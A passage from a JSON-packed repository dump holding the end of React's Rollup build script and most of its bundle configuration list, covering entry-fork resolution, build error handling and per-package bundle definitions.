false,\n          trailingComma: 'none',\n          bracketSpacing: true,\n        }),\n      {\n        name: 'license-and-signature-header',\n        renderChunk(source) {\n          return Wrappers.wrapWithLicenseHeader(\n            source,\n            bundleType,\n            globalName,\n            filename,\n            moduleType\n          );\n        },\n      },\n      // Record bundle size.\n      sizes({\n        getSize: (size, gzip) => {\n          const currentSizes = Stats.currentBuildResults.bundleSizes;\n          const recordIndex = currentSizes.findIndex(\n            record =>\n              record.filename === filename && record.bundleType === bundleType\n          );\n          const index = recordIndex !== -1 ? recordIndex : currentSizes.length;\n          currentSizes[index] = {\n            filename,\n            bundleType,\n            packageName,\n            size,\n            gzip,\n          };\n        },\n      }),\n    ].filter(Boolean);\n  } catch (error) {\n    console.error(\n      chalk.red(`There was an error preparing plugins for entry \"${entry}\"`)\n    );\n    throw error;\n  }\n}\n\nfunction shouldSkipBundle(bundle, bundleType) {\n  const shouldSkipBundleType = bundle.bundleTypes.indexOf(bundleType) === -1;\n  if (shouldSkipBundleType) {\n    return true;\n  }\n  if (requestedBundleTypes.length > 0) {\n    const hasRequestedBundleType = requestedBundleTypes.some(requestedType =>\n      bundleType.includes(requestedType)\n    );\n    if (!hasRequestedBundleType) {\n      return true;\n    }\n  }\n  if (requestedBundleNames.length > 0) {\n    // If the name ends with `something/index` we only match if the\n    // entry ends in something. Such as `react-dom/index` only matches\n    // `react-dom` but not `react-dom/server`. Everything else is fuzzy\n    // search.\n    const entryLowerCase = bundle.entry.toLowerCase() + '/index.js';\n    const isAskingForDifferentNames = requestedBundleNames.every(\n      requestedName => {\n        const matchEntry = entryLowerCase.indexOf(requestedName) !== -1;\n        if (!bundle.name) {\n          return !matchEntry;\n        }\n        const matchName =\n          bundle.name.toLowerCase().indexOf(requestedName) !== -1;\n        return !matchEntry && !matchName;\n      }\n    );\n    if (isAskingForDifferentNames) {\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction resolveEntryFork(resolvedEntry, isFBBundle, isDev) {\n  // Pick which entry point fork to use:\n  // .modern.fb.js\n  // .classic.fb.js\n  // .fb.js\n  // .stable.js\n  // .experimental.js\n  // .js\n  // or any of those plus .development.js\n\n  if (isFBBundle) {\n    const resolvedFBEntry = resolvedEntry.replace(\n      '.js',\n      __EXPERIMENTAL__ ? '.modern.fb.js' : '.classic.fb.js'\n    );\n    const devFBEntry = resolvedFBEntry.replace('.js', '.development.js');\n    if (isDev && fs.existsSync(devFBEntry)) {\n      return devFBEntry;\n    }\n    if (fs.existsSync(resolvedFBEntry)) {\n      return resolvedFBEntry;\n    }\n    const resolvedGenericFBEntry = resolvedEntry.replace('.js', '.fb.js');\n    const devGenericFBEntry = resolvedGenericFBEntry.replace(\n      '.js',\n      '.development.js'\n    );\n    if (isDev && fs.existsSync(devGenericFBEntry)) {\n      return devGenericFBEntry;\n    }\n    if (fs.existsSync(resolvedGenericFBEntry)) {\n      return resolvedGenericFBEntry;\n    }\n    // Even if it's a FB bundle we fallthrough to pick stable or experimental if we don't have an FB fork.\n  }\n  const resolvedForkedEntry = resolvedEntry.replace(\n    '.js',\n    __EXPERIMENTAL__ ? '.experimental.js' : '.stable.js'\n  );\n  const devForkedEntry = resolvedForkedEntry.replace('.js', '.development.js');\n  if (isDev && fs.existsSync(devForkedEntry)) {\n    return devForkedEntry;\n  }\n  if (fs.existsSync(resolvedForkedEntry)) {\n    return resolvedForkedEntry;\n  }\n  // Just use the plain .js one.\n  return resolvedEntry;\n}\n\nasync function createBundle(bundle, bundleType) {\n  const filename = getFilename(bundle, bundleType);\n  const logKey =\n    chalk.white.bold(filename) + chalk.dim(` (${bundleType.toLowerCase()})`);\n  const format = getFormat(bundleType);\n  const packageName = Packaging.getPackageName(bundle.entry);\n\n  const {isFBWWWBundle, isFBRNBundle} = getBundleTypeFlags(bundleType);\n\n  const resolvedEntry = resolveEntryFork(\n    require.resolve(bundle.entry),\n    isFBWWWBundle || isFBRNBundle,\n    !isProductionBundleType(bundleType)\n  );\n\n  const peerGlobals = Modules.getPeerGlobals(bundle.externals, bundleType);\n  let externals = Object.keys(peerGlobals);\n\n  const deps = Modules.getDependencies(bundleType, bundle.entry);\n  externals = externals.concat(deps);\n\n  const importSideEffects = Modules.getImportSideEffects();\n  const pureExternalModules = Object.keys(importSideEffects).filter(\n    module => !importSideEffects[module]\n  );\n\n  const rollupConfig = {\n    input: resolvedEntry,\n    treeshake: {\n      moduleSideEffects: (id, external) =>\n        !(external && pureExternalModules.includes(id)),\n      propertyReadSideEffects: false,\n    },\n    external(id) {\n      const containsThisModule = pkg => id === pkg || id.startsWith(pkg + '/');\n      const isProvidedByDependency = externals.some(containsThisModule);\n      if (isProvidedByDependency) {\n        if (id.indexOf('/src/') !== -1) {\n          throw Error(\n            'You are trying to import ' +\n              id +\n              ' but ' +\n              externals.find(containsThisModule) +\n              ' is one of npm dependencies, ' +\n              'so it will not contain that source file. You probably want ' +\n              'to create a new bundle entry point for it instead.'\n          );\n        }\n        return true;\n      }\n      return !!peerGlobals[id];\n    },\n    onwarn: handleRollupWarning,\n    plugins: getPlugins(\n      bundle.entry,\n      bundle.babel,\n      filename,\n      packageName,\n      bundleType,\n      bundle.global,\n      bundle.moduleType,\n      pureExternalModules,\n      bundle\n    ),\n    output: {\n      externalLiveBindings: false,\n      freeze: false,\n      interop: getRollupInteropValue,\n      esModule: false,\n    },\n  };\n  const mainOutputPath = Packaging.getBundleOutputPath(\n    bundle,\n    bundleType,\n    filename,\n    packageName\n  );\n\n  const rollupOutputOptions = getRollupOutputOptions(\n    mainOutputPath,\n    format,\n    peerGlobals,\n    bundle.global,\n    bundleType\n  );\n\n  if (isWatchMode) {\n    rollupConfig.output = [rollupOutputOptions];\n    const watcher = rollup.watch(rollupConfig);\n    watcher.on('event', async event => {\n      switch (event.code) {\n        case 'BUNDLE_START':\n          console.log(`${chalk.bgYellow.black(' BUILDING ')} ${logKey}`);\n          break;\n        case 'BUNDLE_END':\n          console.log(`${chalk.bgGreen.black(' COMPLETE ')} ${logKey}\\n`);\n          break;\n        case 'ERROR':\n        case 'FATAL':\n          console.log(`${chalk.bgRed.black(' OH NOES! ')} ${logKey}\\n`);\n          handleRollupError(event.error);\n          break;\n      }\n    });\n  } else {\n    console.log(`${chalk.bgYellow.black(' BUILDING ')} ${logKey}`);\n    try {\n      const result = await rollup.rollup(rollupConfig);\n      await result.write(rollupOutputOptions);\n    } catch (error) {\n      console.log(`${chalk.bgRed.black(' OH NOES! ')} ${logKey}\\n`);\n      handleRollupError(error);\n      throw error;\n    }\n    console.log(`${chalk.bgGreen.black(' COMPLETE ')} ${logKey}\\n`);\n  }\n}\n\nfunction handleRollupWarning(warning) {\n  if (warning.code === 'UNUSED_EXTERNAL_IMPORT') {\n    const match = warning.message.match(/external module \"([^\"]+)\"/);\n    if (!match || typeof match[1] !== 'string') {\n      throw new Error(\n        'Could not parse a Rollup warning. ' + 'Fix this method.'\n      );\n    }\n    const importSideEffects = Modules.getImportSideEffects();\n    const externalModule = match[1];\n    if (typeof importSideEffects[externalModule] !== 'boolean') {\n      throw new Error(\n        'An external module \"' +\n          externalModule +\n          '\" is used in a DEV-only code path ' +\n          'but we do not know if it is safe to omit an unused require() to it in production. ' +\n          'Please add it to the `importSideEffects` list in `scripts/rollup/modules.js`.'\n      );\n    }\n    // Don't warn. We will remove side effectless require() in a later pass.\n    return;\n  }\n\n  if (warning.code === 'CIRCULAR_DEPENDENCY') {\n    // Ignored\n  } else if (typeof warning.code === 'string') {\n    // This is a warning coming from Rollup itself.\n    // These tend to be important (e.g. clashes in namespaced exports)\n    // so we'll fail the build on any of them.\n    console.error();\n    console.error(warning.message || warning);\n    console.error();\n    process.exit(1);\n  } else {\n    // The warning is from one of the plugins.\n    // Maybe it's not important, so just print it.\n    console.warn(warning.message || warning);\n  }\n}\n\nfunction handleRollupError(error) {\n  loggedErrors.add(error);\n  if (!error.code) {\n    console.error(error);\n    return;\n  }\n  console.error(\n    `\\x1b[31m-- ${error.code}${error.plugin ? ` (${error.plugin})` : ''} --`\n  );\n  console.error(error.stack);\n  if (error.loc && error.loc.file) {\n    const {file, line, column} = error.loc;\n    // This looks like an error from Rollup, e.g. missing export.\n    // We'll use the accurate line numbers provided by Rollup but\n    // use Babel code frame because it looks nicer.\n    const rawLines = fs.readFileSync(file, 'utf-8');\n    // column + 1 is required due to rollup counting column start position from 0\n    // whereas babel-code-frame counts from 1\n    const frame = codeFrame(rawLines, line, column + 1, {\n      highlightCode: true,\n    });\n    console.error(frame);\n  } else if (error.codeFrame) {\n    // This looks like an error from a plugin (e.g. Babel).\n    // In this case we'll resort to displaying the provided code frame\n    // because we can't be sure the reported location is accurate.\n    console.error(error.codeFrame);\n  }\n}\n\nfunction runShellCommand(command) {\n  console.log(chalk.dim('Running: ') + chalk.cyan(command));\n  childProcess.execSync(command, {stdio: 'inherit', shell: true});\n}\n\nasync function buildEverything() {\n  if (!argv['unsafe-partial']) {\n    await asyncRimRaf('build');\n  }\n\n  // Run them serially for better console output\n  // and to avoid any potential race conditions.\n\n  let bundles = [];\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const bundle of Bundles.bundles) {\n    bundles.push(\n      [bundle, NODE_ES2015],\n      [bundle, ESM_DEV],\n      [bundle, ESM_PROD],\n      [bundle, NODE_DEV],\n      [bundle, NODE_PROD],\n      [bundle, NODE_PROFILING],\n      [bundle, BUN_DEV],\n      [bundle, BUN_PROD],\n      [bundle, FB_WWW_DEV],\n      [bundle, FB_WWW_PROD],\n      [bundle, FB_WWW_PROFILING],\n      [bundle, RN_OSS_DEV],\n      [bundle, RN_OSS_PROD],\n      [bundle, RN_OSS_PROFILING],\n      [bundle, RN_FB_DEV],\n      [bundle, RN_FB_PROD],\n      [bundle, RN_FB_PROFILING],\n      [bundle, BROWSER_SCRIPT],\n      [bundle, CJS_DTS],\n      [bundle, ESM_DTS]\n    );\n  }\n\n  bundles = bundles.filter(([bundle, bundleType]) => {\n    return !shouldSkipBundle(bundle, bundleType);\n  });\n\n  if (process.env.CI_TOTAL && process.env.CI_INDEX) {\n    const nodeTotal = parseInt(process.env.CI_TOTAL, 10);\n    const nodeIndex = parseInt(process.env.CI_INDEX, 10);\n    bundles = bundles.filter((_, i) => i % nodeTotal === nodeIndex);\n  }\n\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const [bundle, bundleType] of bundles) {\n    if (bundle.prebuild) {\n      runShellCommand(bundle.prebuild);\n    }\n    await createBundle(bundle, bundleType);\n  }\n\n  await Packaging.copyAllShims();\n  await Packaging.prepareNpmPackages();\n\n  if (syncFBSourcePath) {\n    await Sync.syncReactNative(syncFBSourcePath);\n  } else if (syncWWWPath) {\n    await Sync.syncReactDom('build/facebook-www', syncWWWPath);\n  }\n\n  console.log(Stats.printResults());\n  if (!forcePrettyOutput) {\n    Stats.saveResults();\n  }\n}\n\nbuildEverything();\n"
  },
  {
    "path": "scripts/rollup/bundles.js",
    "content": "'use strict';\n\nconst RELEASE_CHANNEL = process.env.RELEASE_CHANNEL;\n\nconst __EXPERIMENTAL__ =\n  typeof RELEASE_CHANNEL === 'string'\n    ? RELEASE_CHANNEL === 'experimental'\n    : true;\n\nconst bundleTypes = {\n  NODE_ES2015: 'NODE_ES2015',\n  ESM_DEV: 'ESM_DEV',\n  ESM_PROD: 'ESM_PROD',\n  NODE_DEV: 'NODE_DEV',\n  NODE_PROD: 'NODE_PROD',\n  NODE_PROFILING: 'NODE_PROFILING',\n  BUN_DEV: 'BUN_DEV',\n  BUN_PROD: 'BUN_PROD',\n  FB_WWW_DEV: 'FB_WWW_DEV',\n  FB_WWW_PROD: 'FB_WWW_PROD',\n  FB_WWW_PROFILING: 'FB_WWW_PROFILING',\n  RN_OSS_DEV: 'RN_OSS_DEV',\n  RN_OSS_PROD: 'RN_OSS_PROD',\n  RN_OSS_PROFILING: 'RN_OSS_PROFILING',\n  RN_FB_DEV: 'RN_FB_DEV',\n  RN_FB_PROD: 'RN_FB_PROD',\n  RN_FB_PROFILING: 'RN_FB_PROFILING',\n  BROWSER_SCRIPT: 'BROWSER_SCRIPT',\n  CJS_DTS: 'CJS_DTS',\n  ESM_DTS: 'ESM_DTS',\n};\n\nconst {\n  NODE_ES2015,\n  ESM_DEV,\n  ESM_PROD,\n  NODE_DEV,\n  NODE_PROD,\n  NODE_PROFILING,\n  BUN_DEV,\n  BUN_PROD,\n  FB_WWW_DEV,\n  FB_WWW_PROD,\n  FB_WWW_PROFILING,\n  RN_OSS_DEV,\n  RN_OSS_PROD,\n  RN_OSS_PROFILING,\n  RN_FB_DEV,\n  RN_FB_PROD,\n  RN_FB_PROFILING,\n  BROWSER_SCRIPT,\n  CJS_DTS,\n  ESM_DTS,\n} = bundleTypes;\n\nconst moduleTypes = {\n  // React\n  ISOMORPHIC: 'ISOMORPHIC',\n  // Individual renderers. They bundle the reconciler. (e.g. ReactDOM)\n  RENDERER: 'RENDERER',\n  // Helper packages that access specific renderer's internals. (e.g. TestUtils)\n  RENDERER_UTILS: 'RENDERER_UTILS',\n  // Standalone reconciler for third-party renderers.\n  RECONCILER: 'RECONCILER',\n};\n\nconst {ISOMORPHIC, RENDERER, RENDERER_UTILS, RECONCILER} = moduleTypes;\n\nconst bundles = [\n  /******* Isomorphic *******/\n  {\n    bundleTypes: [\n      NODE_DEV,\n      NODE_PROD,\n      FB_WWW_DEV,\n      FB_WWW_PROD,\n      FB_WWW_PROFILING,\n      RN_FB_DEV,\n      RN_FB_PROD,\n      RN_FB_PROFILING,\n    ],\n    moduleType: ISOMORPHIC,\n    entry: 'react',\n    global: 'React',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: true,\n    externals: ['ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* Isomorphic Shared Subset *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'react/src/ReactServer.js',\n    name: 'react.react-server',\n    condition: 'react-server',\n    global: 'React',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n\n  /******* React JSX Runtime *******/\n  {\n    bundleTypes: [\n      NODE_DEV,\n      NODE_PROD,\n      NODE_PROFILING,\n      // TODO: use on WWW.\n      RN_FB_DEV,\n      RN_FB_PROD,\n      RN_FB_PROFILING,\n    ],\n    moduleType: ISOMORPHIC,\n    entry: 'react/jsx-runtime',\n    global: 'JSXRuntime',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* Compiler Runtime *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD, NODE_PROFILING],\n    moduleType: ISOMORPHIC,\n    entry: 'react/compiler-runtime',\n    global: 'CompilerRuntime',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React JSX Runtime React Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'react/src/jsx/ReactJSXServer.js',\n    name: 'react-jsx-runtime.react-server',\n    condition: 'react-server',\n    global: 'JSXRuntime',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React JSX DEV Runtime *******/\n  {\n    bundleTypes: [\n      NODE_DEV,\n      NODE_PROD,\n      NODE_PROFILING,\n      FB_WWW_DEV,\n      FB_WWW_PROD,\n      FB_WWW_PROFILING,\n      RN_FB_DEV,\n      RN_FB_PROD,\n      RN_FB_PROFILING,\n    ],\n    moduleType: ISOMORPHIC,\n    entry: 'react/jsx-dev-runtime',\n    global: 'JSXDEVRuntime',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React JSX DEV Runtime React Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'react/src/jsx/ReactJSXServer.js',\n    name: 'react-jsx-dev-runtime.react-server',\n    condition: 'react-server',\n    global: 'JSXDEVRuntime',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React DOM *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom',\n    global: 'ReactDOM',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['react'],\n  },\n\n  /******* React DOM Client *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/client',\n    global: 'ReactDOM',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React DOM Profiling (Client) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROFILING],\n    moduleType: RENDERER,\n    entry: 'react-dom/profiling',\n    global: 'ReactDOM',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React DOM (www) *******/\n  {\n    bundleTypes: [FB_WWW_DEV, FB_WWW_PROD, FB_WWW_PROFILING],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/ReactDOMFB.js',\n    global: 'ReactDOM',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['react'],\n  },\n\n  /******* React DOM (fbsource) *******/\n  {\n    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],\n    moduleType: RENDERER,\n    entry: 'react-dom',\n    global: 'ReactDOM',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React DOM Client (fbsource) *******/\n  {\n    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],\n    moduleType: RENDERER,\n    entry: 'react-dom/client',\n    global: 'ReactDOMClient',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React DOM Profiling (fbsource) *******/\n  {\n    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],\n    moduleType: RENDERER,\n    entry: 'react-dom/profiling',\n    global: 'ReactDOMProfiling',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['react', 'react-dom', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React DOM Test Utils (fbsource) *******/\n  {\n    moduleType: RENDERER_UTILS,\n    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],\n    entry: 'react-dom/test-utils',\n    global: 'ReactDOMTestUtils',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React DOM React Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/ReactDOMReactServer.js',\n    name: 'react-dom.react-server',\n    condition: 'react-server',\n    global: 'ReactDOM',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* Test Utils *******/\n  {\n    moduleType: RENDERER_UTILS,\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    entry: 'react-dom/test-utils',\n    global: 'ReactTestUtils',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React DOM - Testing *******/\n  {\n    moduleType: RENDERER,\n    bundleTypes: __EXPERIMENTAL__ ? [NODE_DEV, NODE_PROD] : [],\n    entry: 'react-dom/unstable_testing',\n    global: 'ReactDOMTesting',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React DOM - www - Testing *******/\n  {\n    moduleType: RENDERER,\n    bundleTypes: [FB_WWW_DEV, FB_WWW_PROD],\n    entry: 'react-dom/src/ReactDOMTestingFB.js',\n    global: 'ReactDOMTesting',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React DOM Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD, FB_WWW_DEV, FB_WWW_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/server/ReactDOMLegacyServerBrowser.js',\n    name: 'react-dom-server-legacy.browser',\n    global: 'ReactDOMServer',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n    babel: opts =>\n      Object.assign({}, opts, {\n        plugins: opts.plugins.concat([\n          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],\n        ]),\n      }),\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/server/ReactDOMLegacyServerNode.js',\n    name: 'react-dom-server-legacy.node',\n    externals: ['react', 'stream', 'react-dom'],\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    babel: opts =>\n      Object.assign({}, opts, {\n        plugins: opts.plugins.concat([\n          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],\n        ]),\n      }),\n  },\n\n  /******* React DOM Fizz Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/server/react-dom-server.browser.js',\n    name: 'react-dom-server.browser',\n    global: 'ReactDOMServer',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/server/react-dom-server.node.js',\n    name: 'react-dom-server.node',\n    global: 'ReactDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'react-dom',\n      'async_hooks',\n      'crypto',\n      'stream',\n      'util',\n    ],\n  },\n  {\n    bundleTypes: __EXPERIMENTAL__ ? [FB_WWW_DEV, FB_WWW_PROD] : [],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-fb/src/ReactDOMServerFB.js',\n    global: 'ReactDOMServerStreaming',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React DOM Fizz Server Edge *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/server/react-dom-server.edge.js',\n    name: 'react-dom-server.edge', // 'node_modules/react/*.js',\n\n    global: 'ReactDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React DOM Fizz Server Bun *******/\n  {\n    bundleTypes: [BUN_DEV, BUN_PROD],\n    moduleType: RENDERER,\n    entry: 'react-dom/src/server/react-dom-server.bun.js',\n    name: 'react-dom-server.bun', // 'node_modules/react/*.js',\n\n    global: 'ReactDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'crypto', 'stream', 'util'],\n  },\n\n  /******* React DOM Fizz Server External Runtime *******/\n  {\n    bundleTypes: __EXPERIMENTAL__ ? [BROWSER_SCRIPT] : [],\n    moduleType: RENDERER,\n    entry: 'react-dom/unstable_server-external-runtime',\n    outputPath: 'unstable_server-external-runtime.js',\n    global: 'ReactDOMServerExternalRuntime',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n\n  /******* React HTML RSC *******/\n  {\n    bundleTypes: __EXPERIMENTAL__ ? [NODE_DEV, NODE_PROD] : [],\n    moduleType: RENDERER,\n    entry: 'react-markup/src/ReactMarkupServer.js',\n    name: 'react-markup.react-server',\n    condition: 'react-server',\n    global: 'ReactMarkup',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React HTML Client *******/\n  {\n    bundleTypes: __EXPERIMENTAL__ ? [NODE_DEV, NODE_PROD] : [],\n    moduleType: RENDERER,\n    entry: 'react-markup/src/ReactMarkupClient.js',\n    name: 'react-markup',\n    global: 'ReactMarkup',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React Server DOM Webpack Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry:\n      'react-server-dom-webpack/src/server/react-flight-dom-server.browser',\n    name: 'react-server-dom-webpack-server.browser',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-webpack/src/server/react-flight-dom-server.node',\n    name: 'react-server-dom-webpack-server.node',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'react-dom',\n      'async_hooks',\n      'crypto',\n      'stream',\n      'util',\n    ],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-webpack/src/server/react-flight-dom-server.edge',\n    name: 'react-server-dom-webpack-server.edge',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React Server DOM Webpack Client *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry:\n      'react-server-dom-webpack/src/client/react-flight-dom-client.browser',\n    name: 'react-server-dom-webpack-client.browser',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-webpack/src/client/react-flight-dom-client.node',\n    name: 'react-server-dom-webpack-client.node',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'util', 'crypto'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-webpack/src/client/react-flight-dom-client.edge',\n    name: 'react-server-dom-webpack-client.edge',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React Server DOM Webpack Plugin *******/\n  {\n    bundleTypes: [NODE_ES2015],\n    moduleType: RENDERER_UTILS,\n    entry: 'react-server-dom-webpack/plugin',\n    global: 'ReactServerWebpackPlugin',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['fs', 'path', 'url', 'neo-async'],\n  },\n\n  /******* React Server DOM Webpack Node.js Loader *******/\n  {\n    bundleTypes: [ESM_PROD],\n    moduleType: RENDERER_UTILS,\n    entry: 'react-server-dom-webpack/node-loader',\n    condition: 'react-server',\n    global: 'ReactServerWebpackNodeLoader',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['acorn'],\n  },\n\n  /******* React Server DOM Webpack Node.js CommonJS Loader *******/\n  {\n    bundleTypes: [NODE_ES2015],\n    moduleType: RENDERER_UTILS,\n    entry: 'react-server-dom-webpack/src/ReactFlightWebpackNodeRegister',\n    name: 'react-server-dom-webpack-node-register',\n    condition: 'react-server',\n    global: 'ReactFlightWebpackNodeRegister',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['url', 'module', 'react-server-dom-webpack/server'],\n  },\n\n  /******* React Server DOM Turbopack Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry:\n      'react-server-dom-turbopack/src/server/react-flight-dom-server.browser',\n    name: 'react-server-dom-turbopack-server.browser',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-turbopack/src/server/react-flight-dom-server.node',\n    name: 'react-server-dom-turbopack-server.node',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'react-dom',\n      'async_hooks',\n      'crypto',\n      'stream',\n      'util',\n    ],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-turbopack/src/server/react-flight-dom-server.edge',\n    name: 'react-server-dom-turbopack-server.edge',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  